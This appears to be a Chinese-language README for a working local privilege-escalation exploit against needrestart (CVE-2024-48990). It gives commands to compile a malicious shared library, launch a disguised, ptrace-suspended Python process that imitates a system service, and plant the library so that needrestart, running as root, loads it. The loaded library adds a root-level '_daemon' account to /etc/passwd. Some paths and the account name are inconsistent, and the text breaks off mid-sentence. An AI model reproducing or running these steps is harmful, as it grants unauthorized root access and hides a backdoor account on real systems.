针对 CVE-2024-48990 的漏洞利用(needrestart < 3.8 中的本地权限提升)
阅读 https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart。Qualys 在解释这个问题上做得非常出色。
TLDR;
在 needrestart 版本低于 3.8 的系统上,本地用户可以在无需任何用户交互的情况下执行任意代码并将权限提升至 root。

当前这个漏洞利用会使用 sed 命令编辑 /etc/passwd 文件,向系统添加一个名为 "_daemon" 的新用户,其 UID/GID 为 0(root)。密码与用户名相同。甚至不确定这能否称为漏洞利用,因为它只是一个运行单条命令的共享库。
要自行编译该漏洞利用,请运行以下命令:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
你可以运行任何长时间运行的 python 脚本。但为了在进程列表中看起来不那么可疑,你可以使用下面这行命令来启动一个 python 解释器,它一启动就会被挂起(因此实际上不会执行任何操作)。
PYTHON - Python 解释器的路径
ARGV - 将出现在进程列表中的字符串
PYPATH - 你创建的目录路径(不包含 importlib 目录)
对于 ARGV,请确保:
ARGV 中的第一个参数必须是 python 解释器的路径
第二个参数(“脚本”)必须是系统上实际存在的文件(needrestart 会检查这一点)。不需要是真正的 python 脚本。
第二个参数不能与已经在运行的进程相同(needrestart 会使用它已经见过的“缓存”进程)。
除此之外,你可以随意调整 ARGV。也许可以让它看起来像一个正常的系统进程?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
它需要位于 importlib 目录中,并命名为 "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
下次 needrestart 运行时(即 apt 更新或 unattended upgrades 会启动它),它将使用我们进程的 PYTHONPATH 变量运行 python,并加载 init.so 文件,该文件将运行我们的命令。你将可以使用凭据 _damon:_daemon 登录。
needrestart 并不完全是傻瓜,它在扫描进程时、并在进入易受攻击的代码部分之前,会检查一些事情